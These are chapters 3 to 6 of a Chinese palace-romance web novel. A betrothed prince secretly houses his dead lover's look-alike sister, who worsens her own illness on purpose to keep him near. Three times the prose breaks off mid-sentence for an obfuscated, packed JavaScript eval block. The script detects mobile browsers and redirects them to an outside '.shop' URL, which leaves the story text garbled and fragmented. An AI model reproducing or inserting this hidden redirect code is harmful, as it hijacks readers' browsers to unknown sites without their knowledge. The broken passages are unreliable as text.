《阿满逃婚记事》 3. 第 3 章 江诗韵。 听到这个久违的名字,裴唯宁仍觉得一肚子恼火。 三年前她与阿满到扬州游玩,在街头见到一名貌美少女被恶霸欺侮。 少女名为江诗韵,家中本是书香门第,因父母遭遇意外,迫于生计在市集摆摊。她年轻貌美,温婉动人,吸引了不少狂蜂浪蝶,那恶霸便是其中一名。 他仗着在当地颇有权势,不顾江诗韵的推拒,光天化日下便想掳人回去做妾。幸有阿满路见不平,命人帮她解决了麻烦。 江诗韵看出阿满心善,千恩万谢之后,跪地哭求她收留自己。阿满见她柔弱可怜,便收她在身边做了婢女。 本以为这是段微不足道的插曲,谁能想到回京后,江诗韵竟然借着阿满的光,在三哥面前频频献好,更暗地里跟他生了私情?! 三哥那会也是瞎了眼,不顾身份悬殊,向母后提出要娶江诗韵为正妻。母后勃然大怒,将三哥骂得狗血淋头,并声称有她在,江诗韵今生别想踏进端王府半步。 所有人都在逼他们分开,三哥在深思熟虑后选择妥协,而正在此时,他遭遇了一场暗杀,是江诗韵奋不顾身地替他挡下致命一剑…… 江诗韵死了。 三哥悲不自胜,失魂落魄了好久,多亏有阿满悉心照料,他才逐渐走出阴影。过了一年多,三哥突然向母后求娶阿满,两人的亲事就此定下。 纵观整件往事,三哥和江诗韵仿佛是一对苦命鸳鸯,经历爱而不得、生死离别等戏码,不知情的旁观者定要为他们掬一把同情泪。 但事实上,阿满才是最可怜的那个人! 阿满从小喜欢三哥,打算及笄后向三哥表明心意。可没等到那天,便意外撞破他与江诗韵的私情。面对江诗韵梨花带雨的解释,三哥对她的百般维护,阿满别无他法,唯有笑着祝福。 彼时年仅十三岁的阿满不敢在人前表露丁点异样,唯有面对她时,才会卸下伪装,痛痛快快地哭上一场。 裴唯宁悔不当初! 若她当时能看出江诗韵的居心叵测,阻止阿满带她回京便好了。阿满和三哥会顺理成章地在一起,故事里不会有第三者的痕迹。 可惜江诗韵出现了,又庆幸江诗韵死了。 裴唯宁顾不上想法恶不恶毒,她固执地认为,江诗韵有此一劫,是老天爷都认为三哥和阿满是命定的一对。 “阿满,你在胡思乱想些什么?”裴唯宁撇着嘴道:“江诗韵是哪门子的女主人公,她配吗?” “你瞧她与三哥,跟故事里男女主的经历十分相似。” “她身为婢女,不顾你的救命之恩,背主勾搭上三哥,还试图对你取而代之,呵,此等卑鄙行径,哪里够格当话本里的女主?” 薛满摇头,“换个立场想想,他们相爱并无过错。” 裴唯宁朝天哼了一声,不客气地道:“我就问你一句,她知不知晓你喜欢三哥?” ……是知晓的。 薛满不由回忆,江诗韵贴心又聪颖,早在蛛丝马迹间观察出端倪,偶尔会大着胆子调侃几句。她那时候还小,被看穿心事后扭捏不安,佯装生气地命令江诗韵不许多嘴。 谁能想到几个月后,她会撞见三哥与江诗韵在假山后面拥抱呢? 薛满感到苦涩不堪,喃语似地道:“重要的是,三哥喜欢她。” 裴唯宁见不得她垂头丧气,扶着她的肩,恶声恶气地道:“薛满,你给我清醒一点。江诗韵都死两年了。除非她从坟墓里蹦出来——不,蹦出来也没用,你才是三哥名正言顺的未婚妻!” 薛满被“吼”得精神一震,脑子恢复几分清明,“你说得对,是我想茬了。” “知错能改,善莫大焉。”裴唯宁又问:“《旧雨重逢》的结局是什么?” “我只看到女主死而复生,后面的情节还没看。” “没看正好,你回去便将它扔掉,换本正常的看。” “嗯。”薛满扑到她怀里,蹭了蹭道:“小宁,有你真好。” 在薛满看不到的地方,裴唯宁心虚地别开了眼。江诗韵是没可能再捣乱,但听凤仪宫方才的对话,江家借着恩情,又派了个妹妹来纠缠三哥,啊啊啊,这该如何是好! 她眼珠子乱飘,开口试探:“阿满,我问你,要是三哥今后纳妾,你能接受吗?” “瞎说,三哥不是那样的人。” “若他犯了糊涂,非要纳妾呢?” 薛满愣住,神色稍显茫然。若三哥非要纳妾……她能接受吗? 她一时没有答案,可脑海中响起阿爹曾说的话。他道:阿满,你是我和你母亲的珍宝,该得到世上独一无二的珍爱。 * 返程路上,薛满与裴长旭同乘一辆马车。 车内空间宽裕,陈设精巧,案几上摆着熏香茶点,绣着花鸟枝纹的云锦帘络半掀,浮光透过镂空花窗,在两人的肩头恍恍荡荡。 他们隔案跪坐,罕见地没有交谈,各自神游天外。 裴长旭端着半盏茶,目光落在虚空,耳畔回荡着薛皇后的一番话。 她道:你肆意妄为,无非仗着阿满喜欢你,吃准她离不开你。可再深的感情都经不起磋磨,倘使你执迷不悟,非要与那江家人搅和在一起,那今后无论出了何事,你都要后果自负。 她严词厉色地劝诫,意图像三年前那般逼迫裴长旭妥协,岂料适得其反,硬生生逼出他的逆骨。 不可否认,往日在与江诗韵的相处中,他曾短暂迷失,糊涂地以为能够打破世俗规矩,迎娶一名婢女为妻。 婢女,奴也。 寻常百姓娶妻尚且要论门第,何况是皇家子女?他在母后的耳提面命下,在与父皇的促膝长谈后,及时寻回理智,看清他与江诗韵中间隔着不可跨越的沟壑。 他是皇子,享受了出身带来的荣华权势,势必要肩负起同等的责任与使命。他代表的不仅是自己,更是皇家颜面,是裴家人百年来在黎民心中铢积寸累的形象。 他无法许她未来。 他硬着心肠斩断情丝,替她另寻佳婿,承诺保她后半生无忧。她没有任何怨言,双眸噙泪,顺从地听他安排。但变故突如其来,他在送她远行时被人追杀,危急时刻,是她舍命救下他。 他眼睁睁见她在怀中断气,心如刀绞,后悔莫及。自始至终都是他的错,辜负了她的情意,还连累得她在芳华之年便香消玉殒。多希望时光能倒回,他一定会,他一定会…… 斯人已逝,说再多都是枉然。 江诗韵死前曾托他照顾妹妹江书韵,他便往江家送去许多钱财,此事本该了结在此,但去年江家送来信,声称江书韵病入膏肓,希望能到京城谋求一线生机。裴长旭一口应诺,命杜洋将人接到京城,为她请太医,用好药,盼她能恢复健康,替姐姐阅遍大好河山,赏尽人间美景。 他所行所举,皆为弥补。而母后摆着高高在上的姿态,质问他惦念旧情,要将阿满置于何地? 阿满啊…… 裴长旭抬头,凝视少女白净无暇的脸庞,原本烦闷的心情徐徐平缓。 她微倾着脸,浓密的羽睫半敛,柔亮的青丝挽成凌虚髻,又从耳后捋出两根小辫,编缠着彩色发带,乖巧亦不失灵动。 她在安静地发呆,眼神澄澈,仿若山涧清泉。 “阿满。” 薛满蓦然回神,“三哥?” “在想什么?” “没。”薛满笑了下,“坐着无聊,放会空罢了。” “累了?” “有点。” 裴长旭猫着身,越过案几坐到她旁边,拍拍右肩道:“来。” 薛满摆手,“不用了,我回去休息会便好。” “离回去还有两刻钟。” “我坚持得——” 不等她说完,裴长旭在她腰间一勾,直接将她揽入怀里。 薛满下意识地挣扎,却听他道:“阿满,是我累了,你借我抱一会。” 她迟疑片晌,终归是心软,“好。” 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439569|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轱辘在青石板上奔驰,街上人声嘈杂。车厢内,俊美男子拥着俏丽少女,气氛温馨祥和。 薛满对他的怀抱并不陌生,幼时突逢变故,使她有漫长的一段时间害怕入眠,多亏有三哥不分日夜的陪伴,将她从噩梦的沼泽中拽了回来。 她依恋他,将他视为人生的不可或缺,即便知晓他忘不了江诗韵,仍舍不得放手。 能做他的妻子,做他唯一的爱人就好。 “三哥,你今后会纳妾吗?”她忽然问。 他的回答简短利落,“不会。” 薛满弯起唇,思维却背道而驰。裴唯宁性子直爽,是个藏不住秘密的话篓子。她在离宫前说的那些话绝非偶然,兴许是听到了什么风声。 难道三哥他…… 疑虑在心底来回盘桓,她闭上眼,强迫自己不许多想。 三哥从未欺骗过她,将来也一定不会。 仿佛是感受到她的不安,裴长旭道:“阿满,你对我来说很重要。” 只是重要吗? 薛满将脸埋在他的胸膛,想追问又问不出口。闷闷不乐间,鼻子敏锐地捕捉到一丝药味。 三哥这是病了? * 春季的天气忽冷忽热,一不留神便会着凉。 薛满担忧裴长旭的身体,隔了两日亲自下厨,炖了盅茯苓党参乌鸡汤。她守在小厨房一下午,侯在火炉旁,边看话本边注意火候。 待水汽顶开盖子,香味四溢后,她用勺子舀出一小碗汤,招手喊来明荟。 “明荟,你来尝尝味道。” 明荟轻吹慢饮,砸了咂嘴,竖起大拇指道:“好喝!” “当真?” “当然。”明荟认真地道:“不信您可以去问王爷。” “成,我这便去找三哥。” 薛满行动力极强,拎着食盒赶往工部找裴长旭,被告知他前脚刚离开衙署。 “他可有说要去何处?” “端王殿下没说,方才有人急匆匆地赶来传信,没过多久,殿下便跟着离开了。” 薛满返回端王府等候,足足过去半个时辰,依旧没有裴长旭的消息。 鸡汤已凉,表面浮起白色的油花,再无之前的鲜香诱人。 薛满只得倒了它,按捺着失望想:无碍,明天再做一回便是。 与此同时,郊外的南溪别院中,亦有人在谈论着端王裴长旭。 这是间秀致典雅的厢房,精致的雕花床,奢丽的梳妆台,靠窗的位置摆着一张竹制软塌。 空气中弥漫着一股淡淡药味。 婢女敲过门后,端着托盘进来,朝床内侧身躺着的女子轻喊:“小姐,您该喝药了。” 女子掀开被褥,缓慢地坐起身,问:“殿下来了吗?” 婢女竹香摇头,“还未。” 女子道:“那便再等等。” “可大夫叮嘱过,药要趁热喝……” “是喝药重要,还是你主子的未来重要?” 竹香一惊,忙道:“是奴婢考虑不周。” 女子掏出白帕,掩唇轻咳几声,如愿见到帕子染上点点猩红。 她露出满意的笑容,一旁的竹香却胆战心惊。 “小姐,奴婢按您说得减少了药剂分量,但眼瞧着您的病越来越重,万一弄巧成拙可怎么办?” “我的身体,我心里有数。” 女子正是江书韵,她年约十七八,相貌生得极美。鹅蛋脸,柳叶眉,琼鼻樱口,气质如兰。因常年生病的关系,她几乎足不出户,肤色白得发光,配着弱柳扶风般的身形,使人不自觉地心生怜意。 竹香忍不住道:“小姐,这会是白天,端王殿下正忙着,怕是要很晚才来。” “他几时来,我便几时喝药。” “那他要是不来呢?” “他会来。”江书韵轻抚脸颊,意味深长地道:“只要我有这张脸,他便必须得来。” 毕竟,她与姐姐江诗韵长得一模一样。 4. 第 4 章 如江书韵所料,裴长旭果然在天黑前赶到南溪别院。 他坐在厅中等候,大概过了一刻钟,江书韵由竹香搀扶,娉娉婷婷地走出。 她侧身行礼,低眉顺眼地道:“书韵参见殿下。” 裴长旭道:“无需多礼。” 江书韵缓慢地抬起头,对上他俊美无俦的脸,眸光微有闪烁,“您怎么忽然来了?” 裴长旭道:“我听说你早晨时又晕了?” “您怎会知晓?”江书韵略显讶异,随即扭头呵斥竹香,“定是你这婢子又多嘴多舌,惊扰殿下的安宁。” 竹香委屈地解释:“是殿下吩咐得奴婢,说您有任何不适都能去找他。您最近身体愈发的差,奴婢实在害怕,这才使人去通知殿下。” “你这丫头,竟还敢顶嘴,定是我平日里太惯着你,咳咳,咳咳咳……”她训到一半便开始咳嗽,纤弱的肩膀不住轻颤。 竹香心急如焚,带着哭腔地道:“小姐,您别生气,都是奴婢的错,奴婢以后再不敢了!” 裴长旭跟着道:“书韵,她做得没错,你不该隐瞒自己的病情。” 江书韵用帕子掩着唇,气喘吁吁地道:“我这是天生的毛病,十几年都熬过来了,亦不差这几日。” 裴长旭不能苟同,“正因为如此,你才要加倍重视。” “殿下。”江书韵强颜欢笑,“我心领您的好意,但是……” “没有但是。”裴长旭道:“我已命人去寻名医吴凡,据闻他最擅治疑难杂症,你且安心等我的好消息。” 江书韵目光盈盈,“那便有劳殿下。” 竹香见气氛缓和,破涕为笑道:“殿下,小姐成日闷在屋子里,连个说话的人都没有。您来了正好,能陪她聊会天。” “竹香,不许胡说八道。” “那奴婢去厨房端汤药,过会再来。” “慢着,你——” 竹香充耳未闻,一溜烟地小跑出门。 江书韵攒眉,歉道:“殿下,您公务繁忙,能来趟已是不易,趁着天色未黑,不如早些回吧。” 裴长旭颔首,见她手中丝帕掉落,弯腰捡拾时,不小心露出星星点点的红色。 “殿下,我送您出门。”她将丝帕揉作一团,飞快塞进袖中,若无其事地笑道。 望着面前这张与江诗韵如出一辙的脸,裴长旭不可避免地感到怅然。 除去相貌,她的性子也与姐姐一般,都十分善解人意。 “不急。”他改变主意,道:“我喝盏茶再走。” 江书韵愣了愣,眼中有转瞬即逝的惊喜,用力地点头道:“嗯,竹香方才做了些南瓜酥,配着茶吃刚好……” * 裴长旭没有多待,喝过茶便起身告辞。江书韵拖着病躯送他到外院,虽极力忍耐,仍瞧得出体力不支。 裴长旭注意到此,道:“回去吧,记得喝药,好好休息。” 江书韵柔柔福身,“好,殿下慢走。” 她转身没走两步,门口乍然响起一阵喧哗声,隐约可闻有人叫嚷:“杜洋,咱们虽是多年的交情,但真要动起手脚,我必不会对你手软。” 声音听着有些熟悉,似乎是裴唯宁身边的护卫林何举。 裴长旭眸色一沉,已猜出来人身份。 “殿下。”江书韵回身,道:“我出去瞧瞧,是何人在门前说话。” 裴长旭道:“无碍,我去处理。” “可是……” “回去休息。” 裴长旭的语气不容置喙,说罢,看也不看江书韵,径直离开别院。 * 南溪别院门口,一名黑衣劲装的俊朗青年正与杜洋僵持不下。两人身高相近,面对面站着,谁都不肯后退半步。 那当然,他们代表的可是自家主子的颜面! 杜洋一脸冷然,“没有殿下的许可,谁都不能进入别院。” 林何举亦是严肃,不嫌绕口地道:“你家殿下是殿下,我家殿下也是殿下。我家殿下说要进去,今日就必须得进。” 杜洋侧目示意,立即有好几人围上来。林何举不甘示弱地抬起右手,同样喊来支援。 两队人都梗着脖子,摩拳擦掌,打斗一触即发。 在这紧要关头,裴长旭适时从门里走出,双手负在身后,淡淡瞥着众人,气势不怒而威。 “林何举,你好大的胆子,敢到我的地方放肆。” “何举参见端王殿下。”林何举抱拳行礼,恭声道:“属下有命在身,还请殿下宽恕。” 治标得治本。 裴长旭的视线越过他,望向拐角处的华丽马车,问道:“唯宁,你闹够了没?” 须臾后,一只柔弱无骨的手掀开帘络,紧跟着出现裴唯宁艳如桃李的脸庞。她云鬓高绾,珠翠罗绮,霞明玉映,浑身皆是皇家风范。 咳,就是说起来话,颇有江湖儿女的飒爽利落。 她抬着眼皮子,仔细打量着南溪别院,问道:“三哥,这便是你金屋藏娇的地方吗?” …… 裴长旭头疼地按按额角,警告地道:“唯宁!” 裴唯宁心中有气,故意反问:“你既然敢做,怎么还怕我说?” 裴长旭不想在人前谈论此事,冷着脸道:“叫他们退下,我与你换个地方聊。” 他们是亲兄妹,最了解彼此的脾气不过。裴唯宁知晓硬碰硬没有好处,顺着他给的台阶下,“好。” 两刻钟后,两人来到常去的茶楼,要了间雅座说话。 刚落座,裴长旭便开口:“阿满她——” 裴唯宁打断他,“你放心,阿满还被蒙在鼓里,不清楚你的金屋藏娇。” 裴长旭没说话,从桌上的零嘴盘子拣了颗瓜子,准确无误地弹中她的脑门。 “哎哟!”裴唯宁吃痛出声,捂着额头瞪他,凶巴巴地瞪他:“三哥,你做什么!” 裴长旭道:“你还知道我是你三哥?” “知道又如何?”裴唯宁不服气地道:“我身为你的妹妹,更要对你朝督暮责,防止你行差踏错。” 裴长旭道:“你再张口便来,小心我去母后面前供出你干的好事。” 什么好事?无非是每回父皇和母后想要替她议亲,对方都会被她私下戏耍、恐吓,以致于她年满十七,仍没有顺利定下婚事。 裴唯宁拍桌而起,“三哥,你明明答应过我要保密!” 裴长旭道:“唯宁,己所不欲,勿施于人。” 这是要她也保密的意思。 裴唯宁动摇了一瞬,很快又坚定地道:“阿满是我的好姐妹,我不能帮着你欺负她。” 裴长旭慢悠悠地斟茶,头也不抬地问:“你听到我和母后的谈话了?” “是,从头到尾,听得明明白白。”裴唯宁义愤填膺地握拳,“三哥,你真是脑袋上刷浆糊——糊涂透顶了!” 相比于她的激动,裴长旭显得平心定气。 他道:“我欠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457739|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江诗韵一条命。” 裴唯宁不是薛皇后,无法用长辈的态度,居高临下地指点江山。将心比心,她虽不喜江诗韵,却能理解他想弥补的心情,然而…… “你要是觉得亏欠江家人,大可用金银珠宝弥补他们,干嘛非要将江诗韵的妹妹接到别院里养着?” “诗韵的妹妹身患顽疾,在扬州寻遍大夫都束手无策,这才求助于我。”裴长旭道:“诗韵在世上只剩下妹妹一个至亲,我必须保她平安。” “你打算保她多久?一辈子吗?” “在去往封地之前,我会替她寻门合适的婚事。”裴长旭停顿了会,道:“就如我为她姐姐安排的未来一般。” 裴唯宁无意揭开他的伤疤,但事已至此,便硬着头皮道:“三哥,你当真对她没有其他心思?” “千真万确。” “那你会向阿满坦白此事咯?” “会。” “你打算何时坦白?” 裴长旭难以回答。 阿满亲眼见证过他与江诗韵的过往,包容地接纳所有,给予他无与伦比的信任。按道理,他也该对她知无不言,言无不尽,可想到江家姐妹一模一样的相貌,他便心生顾虑,踌躇不决。 她平日最喜欢看那些情爱话本子,脑里装了许多稀奇古怪的想法。若他贸然告知,惹得她浮想联翩,岂不是白白给自己找麻烦? 他道:“我会寻个适合的时机告诉她。” 裴唯宁紧盯着他的脸,见他神色坦荡,实在不像撒谎,态度不由软化几分。 “三哥,阿满真的很喜欢你,比江诗韵更早便喜欢你。” 有多早呢? 裴长旭比薛满大四岁,她刚出生不久,薛皇后便带他匆匆赶往薛府。彼时明明是日中,天际却显奇异景象,蔚霞绵延不绝,美轮美奂,仿佛老天也在庆贺这位小表妹的诞生。 在西花厅里,大人们与太医离开议事,他生平第一次见到了小表妹薛满。 她被裹在大红色的锦绣襁褓中,小小的脸蛋,白里透红的肌肤,纤长浓密的睫毛,活脱脱是个漂亮的陶瓷娃娃。 他伸出手,轻触她的脸颊,好奇地想:明明唯宁出生时皱巴巴的,过两个月才渐渐长开,而她为何出生便这样可爱? 小薛满似是听到有人夸奖她,甜甜地笑开。 裴长旭又惊又喜,当下决定:他要喜欢可爱的阿满表妹! 他说到做到,一有空便去薛府看望她,尤其在舅母因病去世后,更是恨不得常住在薛府,日日与薛满玩耍。 暮去朝来,薛满慢慢长大,除去父亲之外,她最喜欢的人便是三哥裴长旭。 裴长旭当然也喜欢她,那是一种发自内心、油然而生的喜爱。他虽然有同母所出的亲妹子裴唯宁,但两个人凑在一块时,亦会吵闹不休。阿满却不同,她活泼且乖巧,会轻轻抓住他的衣角,跟随他去任何地方。 裴长旭认为这是深厚的兄妹情,殊不知在共同经历的波折磨难中,薛满对他的感情已悄然生变。 她爱慕他,如女子爱慕男子。 遗憾的是他并未察觉,反倒与江诗韵相恋,直到江诗韵死后,阿满陪他熬过最暗无天日的那段日子,在听闻他要议亲时,终于鼓起勇气向他表白。 他没有理由拒绝阿满,毕竟他们青梅竹马,身份相当,方方面面都无比登对。旁人乐见其成,而他亦顺水推舟,向母后求娶阿满。 他想,非要与人共度一生,阿满会是最好的选择。 5. 第 5 章 裴长旭花费一番工夫,成功地说服裴唯宁替他暂时保密。兄妹俩一起用了晚膳,等他回到端王府,下人们第一时间向他禀告薛满送鸡汤的事。 他看了眼天色,顾不得换身衣裳,急忙赶往隔壁。 薛府中,薛满刚沐完浴,坐在梳妆台前,由明荟用毛巾轻柔地绞着长发。 她拿着一柄象牙梳子,上头雕着不算精细的莲花图案。她微垂着眼,用指腹来回摩挲着花纹,无论做几遍都不觉得厌烦。 这是她及笄那年,三哥亲手为她做的象牙梳。没过多久,她便豁出去向他表明心意,而他在片刻愣怔后,微笑着拥住她,许诺会娶她为妻。 她没出息地哭了。 她想过会被拒绝,会被冷落,甚至会被他呵斥,独独没想过会被轻而易举地接受。她实现了十岁那年许下的愿望:在及笄后向三哥表白,成为他将来的妻子。 从去年定下婚期开始,她便满心期待婚礼,可在期待的同时,又有种不确信的怀疑。 会一直顺利下去吗? 明荟见她好半天不吭声,以为她是因鸡汤的事在沮丧,便转移话题道:“小姐,再有五日便是您的生辰,不知今年殿下准备了什么礼物?” 话音刚落,她便意识到不妥,恨不得抬手给自己一耳光——她一时疏忽,竟忘记江诗韵死的日子非常不凑巧,正好是小姐的生辰当天。 真是哪壶不开提哪壶! 果然,薛满立刻低落地道:“原来离诗韵去世快满两年了。” 明荟试图亡羊补牢,“您别管那些不重要的人,专注您自个儿的好事就成。” 薛满轻道:“每到那日,三哥都要早起去凤凰山先替她上香,过后才会来替我庆生。” 明荟暗骂一声晦气,江诗韵那臭丫头,生前死后都不让小姐安生。 “奴婢的好小姐,您回头看看奴婢。” 薛满侧首看着她。 明荟道:“江诗韵活着的时候不足为惧,死后更掀不起风浪,您和殿下才是天生的一对。” 类似的话语,薛满刚从裴唯宁嘴里听过。她点点头,不愿再钻牛角尖,将象牙梳收到抽屉中,吩咐道:“多点几根蜡烛,我要绣荷包。” 明荟本要劝她夜里绣东西伤眼睛,但转念便明白,小姐肯定是想再等等,看端王殿下今晚会不会来。 她取来绣篮,仔细地捋好线绳。薛满拿起绣到一半的荷包,皱眉看了会,道:“真丑。” 明荟凑近了看,见鸳鸯脑袋是脑袋,眼睛是眼睛的,都挺好啊! “哪里丑?您绣得像模像样。” “右边的翅膀歪了。” “修修就好,修修就好。” “我能重新绣吗?” “恐怕不行,您得赶在婚礼前绣好……” 主仆俩正说着话,外头传来明萱的声音,“小姐,殿下来了,正在花厅里等您呢。” 薛满扔开荷包,抬步便往外跑,被明荟一把拦住,哭笑不得地道:“奴婢的好小姐哟,您好歹先穿上外衣!” * 薛满提着裙摆,几乎小跑着来到花厅。 裴长旭听到动静,放下茶盏,起身迎向门口。 走廊里,薛满见到裴长旭的身影,裙摆飞扬,眼角眉梢挂着笑意。 “三哥,你来了。” “阿满。”裴长旭提醒:“你慢些走,小心跌倒。” “我都这么大人了,哪里会跌——” 她脚下一个趔趄,整个人往前扑倒,差点与地砖来个亲密接触。好在裴长旭及时赶到,将她稳当地接进怀里。 他低着头,隐含笑意地道:“你说得对,这么大人了,的确不该跌倒。” 薛满自觉丢脸,故作可怜地道:“我崴到脚了。” 裴长旭二话不说地蹲下,替她检查起脚踝,“是这里吗?按着可疼?你暂且忍忍,我马上命人去请太医。” 薛满道:“没事,休息会儿就好。” 她踮着脚“勉强”站稳,下一瞬,却被裴长旭拦腰横抱,大步迈向花厅。 “三哥,你放我下来,我能自己走。” “莫要逞能。” 薛满反抗无效,被他小心翼翼地放进椅子,见他再度俯身,似是动手要脱她的鞋袜,忙摁住他的肩膀,“我真没事。” “那也得看看伤势。” “我我我。”薛满急得结巴,“我是大姑娘了,男女授受不亲。” 不得不说,这个借口非常好使。 裴长旭停住动作,颇为感叹,“犹记得当年,你不仅吃饭喝水要跟着我,连洗澡睡觉都不肯错过。” “我那时候才五岁!” “五岁便不是你了?” “呃。” 见薛满哑口无言,他轻笑一声,妥协地松手,“待会让明荟上点药,若还有不适便通知我,可好?” “好。” “我听说你下午炖了鸡汤?” “嗯。”薛满略显失望,“我去工部时,他们说你前脚刚刚离开。” “是我的错,下午外出办事,没来得及通知你一声,”他道:“你叫下人热热,我这会喝。” “恐怕不行。” “为何?” “我等不到你,便将它倒掉了。”薛满道:“鸡汤要趁热喝,否则会有一股怪味。” 裴长旭道:“阿满,那是你亲手炖的鸡汤,无论怎样都好喝。” 薛满的心口暖洋洋的,“那我明日再炖,午时给你送去?” “好,一言为定。” 两人说完鸡汤的事,薛满隐约又闻到药味,于是问:“三哥,你近日身体不适,可有找太医看过?” 裴长旭反问:“你听谁说我身体有恙?” 薛满道:“哪还用别人说,你身上有股药味,我前几日便闻到了。” 裴长旭抬袖轻嗅,捕捉到浅浅药味,不动声色地道:“真是什么都瞒不过你。” “所以,你到底是何处不适?” “牙疼罢了。”他轻描淡写地道:“煎几副药,喝几天便好。” “牙疼虽不是重病,却相当磨人,你记得要忌口,不许吃辛辣冰冷之物……” 薛满不疑有他,关心地叮嘱一番。裴长旭耐心地听完,忽然问:“阿满,你生辰那天想要怎么过?” “我想怎么过都行吗?” “只要你想,上天入地亦不是问题。” “那你能否……” 薛满想问,能否请他今年别去替江诗韵扫墓,完完整整地陪她一天?但她试了几次,都没能将话说出口。 她很清楚,在三哥的眼里,自己是通情达理、善解人意的薛满,而非还没成亲,便要跟人争风吃醋的斗筲之辈。 他与江诗韵相恋时她尚且年幼,不懂得争抢谋算,只能忍着悲愤委屈,将他拱手相让。如今她快年满十六,虽有足够的底气要求他束身自修,却碍于江诗韵已过世,有再多的不满都得咽进肚里。 死者为大,更何况江诗韵是为三哥而死。 薛满很快便调整好情绪,笑着道:“我要你陪我去吃近水楼的珍珠丸子,再陪我去银月湖钓鱼,最后还得放上半个时辰的烟火。” 裴长旭习惯性地伸手,轻抚她的发顶,语带宠溺,“傻阿满,即便不是生辰,我也能日日带你吃珍珠丸子,去银月湖钓鱼,为你点亮满天的烟火。” 薛满道:“你公务繁忙,处理正事最要紧。我呢,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473210|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希望你在生辰这天好好陪我便行。” 她在话里留了一点点的期待,期待他能察觉她隐秘的心思,给她出乎意料的惊喜。转眼到生辰那天,她睡醒便打听裴长旭的行踪,得到的答案却再次令她气馁。 如过去的两年一般,他在卯时便出发前往凤凰山,承诺会在午膳前回来陪她。 早该猜到了不是吗? 薛满抱着丝衾,久久回不了神。过得半晌,院里响起裴唯宁的声音,“你家小姐起来没?” 明萱道:“回公主,小姐还未起。” 裴唯宁道:“行,那我去花厅等着,你去喊她起来。” 薛满打起精神,洗漱完毕后,挑了件雪青色的广袖留仙裙,上面织着若隐若现的蝴蝶花样。到光线明亮处,蝴蝶会镀一层银色光芒,栩栩如生,振翅欲飞。 明荟替她挽了百合髻,鬓间点缀着珍珠玛瑙蝴蝶发饰。项链与耳坠也是同一套,晶莹剔透的西域红玛瑙镶嵌丰润无瑕的小粒南珠,色泽细腻,瑰丽多彩。 正十六岁的豆蔻少女,生得好看,自小又娇生惯养,皮肤嫩得能掐出水来,随便装扮下便是仙姿逸貌,令人过目难忘。 明荟看得一呆,感慨道:“小姐,您真是越来越好看了。” 薛满对镜自赏,拧着细眉道:“脸太圆。” 明荟道:“您的脸小巧圆润,正是有福之相,旁人都羡慕不来嘞!” 薛满心底受用,小手一挥道:“待会去库房领赏。” 除去明荟,其他下人们也向她投来赞赏的目光。薛满的心情有所好转,脚步轻盈地来到花厅,见裴唯宁背着身在赏花,便偷偷走近,正想吓唬吓唬她时,裴唯宁却猝不及防地回头,脸上戴着个丑陋可怖的昆仑奴面具! “啊!” 薛满捂着心口连退几步,回过神后,又好气又好笑,“裴唯宁,你真是欠收拾!” 裴唯宁摘下面具,哈哈大笑道:“我这叫未雨绸缪,先人一步。” 薛满紧抿着唇,扭头轻哼。 裴唯宁见状求饶,“好表妹,是我的错,我不该吓你,你罚我吧,尽情地罚我。” 她缠着薛满讨巧卖乖,逗得薛满笑逐颜开,随后命人搬来一个红木箱子。 “这是我为你准备的生辰礼物,你快瞧瞧喜不喜欢。” 薛满打开箱子,只见里面堆着满满当当的书籍,入眼俱是“雪山迷雾情”“拈花为卿笑”“公子等等我”……诸如此类“不正经”的名字。 哦豁,竟是整整一箱的话本! 裴唯宁道:“几个月前,我便命人去全国各地搜罗,按照你的喜好挑选话本,足足挑了七十三本,够你打发不少时间。” 送礼不在贵重,而当投其所好。 薛满的眼里像盛着繁星,欢喜溢于言表,“知我者,非小宁莫属。” “那必须。” 她摸着下巴,将薛满打量一圈,酸溜溜地道:“三哥好福气,能娶到你这样的美人。” 薛满顺着她的话打趣:“是啊,就是不知,以后是哪位有福气的公子,能娶到我们闭月羞花的七公主殿下?” 裴唯宁道:“嫁人有什么意思?我才不稀罕。” “那因为你还没遇见喜欢的人。” “何时能遇见?总不会等到我七老八十,人老珠黄吧。” “姑父与姑母给你挑了好多青年才俊,是你每次都捉弄人家,不肯好好相处。” “不怪我顽劣,只怪他们经不起考验。”裴唯宁道:“对了,昨日母后又跟我提起一个人,是老恒安侯家的孙子,名叫许清……许清……” “许清什么?” 裴唯宁绞尽脑汁地想,猛地一拍手,“想起来了,他叫许清桉。” 6. 第 6 章 许清桉? 薛满默念一遍名字,摇头道:“我不认识他。” “何止你不认识,我也不认识。”裴唯宁道:“三哥倒是见过几次面,说他样貌风流,行事却截然相反,是个不苟言笑的闷葫芦。” “后面这句是你自己加的吧?” 